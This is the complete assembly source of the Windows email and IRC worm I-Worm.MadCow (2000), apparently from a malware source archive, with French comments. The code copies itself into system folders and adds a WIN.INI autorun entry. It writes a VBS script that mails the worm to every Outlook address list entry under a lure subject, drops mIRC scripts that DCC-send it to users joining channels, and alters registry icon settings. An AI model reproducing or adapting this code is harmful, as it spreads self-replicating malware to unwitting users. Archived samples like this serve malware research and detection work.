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vxug-MalwareSourceCode/Win32/I-Worm.MadCow.asm
vxunderground 4528c5fb12
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comment * ///// I-Worm.MadCow par PetiK ///// 25/11/2000
Pour assembler : tasm32 /M /ML madcow.asm
tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *
jumps
locals
.386
.model flat,stdcall
;KERNEL32.dll
extrn lstrcat:PROC
extrn WritePrivateProfileStringA:PROC
extrn CloseHandle:PROC
extrn CopyFileA:PROC
extrn CreateDirectoryA:PROC
extrn CreateFileA:PROC
extrn DeleteFileA:PROC
extrn ExitProcess:PROC
extrn GetModuleFileNameA:PROC
extrn GetModuleHandleA:PROC
extrn GetSystemDirectoryA:PROC
extrn GetWindowsDirectoryA:PROC
extrn MoveFileA:PROC
extrn WinExec:PROC
extrn WriteFile:PROC
;ADVAPI32.dll
extrn RegSetValueExA:PROC
extrn RegCreateKeyExA:PROC
extrn RegCloseKey:PROC
.data
regDisp dd 0
regResu dd 0
l dd 0
p dd 0
fh dd 0
octets dd ?
szOrig db 260 dup (0)
szOrig2 db 260 dup (0)
szCopie db 260 dup (0)
szCopi2 db 260 dup (0)
szCico db 260 dup (0)
szWin db 260 dup (0)
Dossier db "C:\Win32",00h
fichier db "C:\Win32\Salut.ico",00h
Copico db "\MSLS.ICO",00h
Copie db "\Wininet32.exe",00h
Copie2 db "\MadCow.exe",00h
BATFILE db "C:\Win32\ENVOIE.BAT",00h
VBSFILE db "C:\Win32\ENVOIE.VBS",00h
Winini db "\\WIN.INI",00h
run db "run",00h
windows db "windows",00h
fileini db "C:\Win32\script.ini",00h
Copie3 db "C:\Win32\MadCow.exe",00h
script1 db "C:\mirc\script.ini",00h
script2 db "C:\mirc32\script.ini",00h
script3 db "C:\program files\mirc\script.ini",00h
script4 db "C:\program files\mirc32\script.ini",00h
CLE db "Software\[Atchoum]",00h
CLE2 db "\exefile\DefaultIcon",00h
Signature db "IWorm.MadCow par PetiK (c)2000"
vbsd:
db 'DEBUT()',0dh,0ah
db 'Sub DEBUT()',0dh,0ah
db 'EMAIL()',0dh,0ah
db 'End Sub',0dh,0ah
db '',0dh,0ah
db 'Sub EMAIL()',0dh,0ah
db 'Set K = CreateObject("Outlook.Application")',0dh,0ah
db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah
db 'For Each M In L.AddressLists',0dh,0ah
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
db 'Set N = K.CreateItem(0)',0dh,0ah
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
db 'Set P = M.AddressEntries(O)',0dh,0ah
db 'If O = 1 Then',0dh,0ah
db 'N.BCC = P.Address',0dh,0ah
db 'Else',0dh,0ah
db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah
db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah
db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah
db 'N.Send',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'End Sub',0dh,0ah
vbstaille equ $-vbsd
batd:
db '@echo off',0dh,0ah
db 'start C:\Win32\ENVOIE.VBS',0dh,0ah
battaille equ $-batd
inid:
db "[script]",0dh,0ah
db "n0=on 1:JOIN:#:{",0dh,0ah
db "n1= /if ( $nick == $me ) { halt }",0dh,0ah
db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah
db "n3=}",00h
initaille equ $-inid
include icone.inc
.code
DEBUT:
VERIF: mov eax,offset CLE ; V<>rifie si il existe une cl<63>
call REG ; [Atchoum] dans HKLM\Software.
cmp [regDisp],1 ; Si elle n'y est pas,
jne INIFILE ; on installe les composants
COPIE: push 0 ;
call GetModuleHandleA ;
push 260 ;
push offset szOrig ;
push eax ;
call GetModuleFileNameA ; Copie le fichier original
push 260 ;
push offset szCopie ;
call GetSystemDirectoryA ; dans le dossier SYSTEM
push offset Copie ;
push offset szCopie ;
call lstrcat ; sous le nom de Wininet32.exe
push 00h ;
push offset szCopie ;
push offset szOrig ;
call CopyFileA ;
push 260 ; puis
push offset szCopi2 ;
call GetWindowsDirectoryA ; <20> nouveau dans le dossier WINDOWS
push offset Copie2 ;
push offset szCopi2 ;
call lstrcat ; sous le nom de MadCow.exe
push 00h ;
push offset szCopi2 ;
push offset szOrig ;
call CopyFileA ;
WIN_INI:push 260 ; Pour lancer le programme, on peut
push offset szWin ;
call GetWindowsDirectoryA ; utiliser la base de registre ou le
push offset Winini ;
push offset szWin ; fichier WIN.INI dans le dossier
call lstrcat ;
push offset szWin ; WINDOWS. La d<>marche est simple :
push offset szCopie ; [windows]
push offset run ; run="nom du programme"
push offset windows ;
call WritePrivateProfileStringA ;
DIR: push 00h ; On cr<63>e ici C:\Win32
push offset Dossier ;
call CreateDirectoryA ;
EMAIL :push 00000000h ; On va cr<63>er C:\Win32\ENVOIE.VBS
push 00000080h ;
push 00000002h ;
push 00000000h ;
push 00000001h ;
push 40000000h ;
push offset VBSFILE ;
call CreateFileA ;
mov [fh],eax ;
push 00h ;
push offset octets ;
push vbstaille ;
push offset vbsd ;
push [fh] ;
call WriteFile ;
push [fh] ;
call CloseHandle ;
EXEC :push 00000000h ; et C:\Win32\ENVOIE.BAT
push 00000080h ;
push 00000002h ; qui va <20>x<EFBFBD>cuter ENVOIE.VBS
push 00000000h ;
push 00000001h ;
push 40000000h ;
push offset BATFILE ;
call CreateFileA ;
mov [fh],eax ;
push 00h ;
push offset octets ;
push battaille ;
push offset batd ;
push [fh] ;
call WriteFile ;
push [fh] ;
call CloseHandle ;
jmp EXECBAT ;
REG: push offset regDisp ;
push offset regResu ;
push 0 ;
push 0F003Fh ;
push 0 ;
push 0 ;
push 0 ;
push eax ; Software\[Atchoum]
push 80000002h ; HKEY_LOCAL_MACHINE
call RegCreateKeyExA ;
push [regResu] ; met la valeur dans regResu
call RegCloseKey ;
ret ;
INIFILE:push 00000000h ; On va cr<63>er dans C:\Win32
push 00000001h ;
push 00000002h ; le fichier script.ini
push 00000000h ;
push 00000001h ; en lecture seul.
push 40000000h ;
push offset fileini ;
call CreateFileA ;
mov [fh],eax ;
push 00h ;
push offset octets ;
push initaille ;
push offset inid ;
push [fh] ;
call WriteFile ;
push [fh] ;
call CloseHandle ;
push 00h ; On va copier ce fichier dans les
push offset script1 ; r<>pertoire suivant :
push offset fileini ;
call CopyFileA ; C:\mirc C:\mirc32
test eax,eax ; C:\program files\mirc et dans
jnz COPYWIN ; C:\program files\mirc32
push 00h ;
push offset script2 ; Si il arrive <20> se copier dans un
push offset fileini ; de ces fichier, il va cr<63>er une
call CopyFileA ; copie du programme dans C:\Win32
test eax,eax ; le nom MadCow.exe
jnz COPYWIN ;
push 00h ;
push offset script3 ;
push offset fileini ;
call CopyFileA ;
test eax,eax ;
jnz COPYWIN ;
push 00h ;
push offset script4 ;
push offset fileini ;
call CopyFileA ;
test eax,eax ;
jz ICOFILE ;
COPYWIN:push 0 ;
call GetModuleHandleA ;
push 260 ;
push offset szOrig2 ;
push eax ;
call GetModuleFileNameA ; Copie le fichier original
push 00h ;
push offset Copie3 ;
push offset szOrig2 ;
call CopyFileA ;
jmp FIN ;
ICOFILE:push 00000000h ; On va cr<63>er <20> la base du disque
push 00000080h ;
push 00000002h ; dur le fichier Salut.ico
push 00000000h ;
push 00000001h ;
push 40000000h ;
push offset fichier ;
call CreateFileA ;
mov [fh],eax ;
push 00h ;
push offset octets ;
push icotaille ;
push offset icod ;
push [fh] ;
call WriteFile ;
push [fh] ;
call CloseHandle ;
push 260 ; On d<>place le fichier Salut.ico
push offset szCico ;
call GetSystemDirectoryA ; dans le dossier SYSTEM sous
push offset Copico ;
push offset szCico ; MSLS.ICO
call lstrcat ;
push offset szCico ;
push offset fichier ;
call MoveFileA ; => c'est fait
REG2: push offset l ;
push offset p ;
push 0 ;
push 1F0000h + 1 + 2h ;
push 0 ;
push 0 ;
push 0 ;
push offset CLE2 ; Run
push 80000000h ; HKEY_CLASSES_ROOT
call RegCreateKeyExA ;
push 05h ;
push offset szCico ; %system%\MSLS.ico
push 01h ;
push 0 ;
push 00h ; VALEUR PAR DEFAUT
push p ;
call RegSetValueExA ; CREE UN REGISTRE
push 0 ;
call RegCloseKey ; FERME LA BASE DE REGISTRE
jmp FIN ; PUIS TERMINE LE PROGRAMME
EXECBAT:push 01h ; On <20>x<EFBFBD>cute le fichier ENVOIE.BAT
push offset BATFILE ;
call WinExec ;
FIN: push 00h ; FIN DU PROGRAMME
call ExitProcess ;
end DEBUT
*************************************************************************
comment *
ICONE.INC pour I-Worm.MadCow
CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER
*
icod:
db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h
db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h
db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h
db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h
db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h
db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h
db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h
db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h
db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh
db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h
db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h
db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h
db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h
db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh
db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh
db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh
db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh
db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh
icotaille equ $-icod
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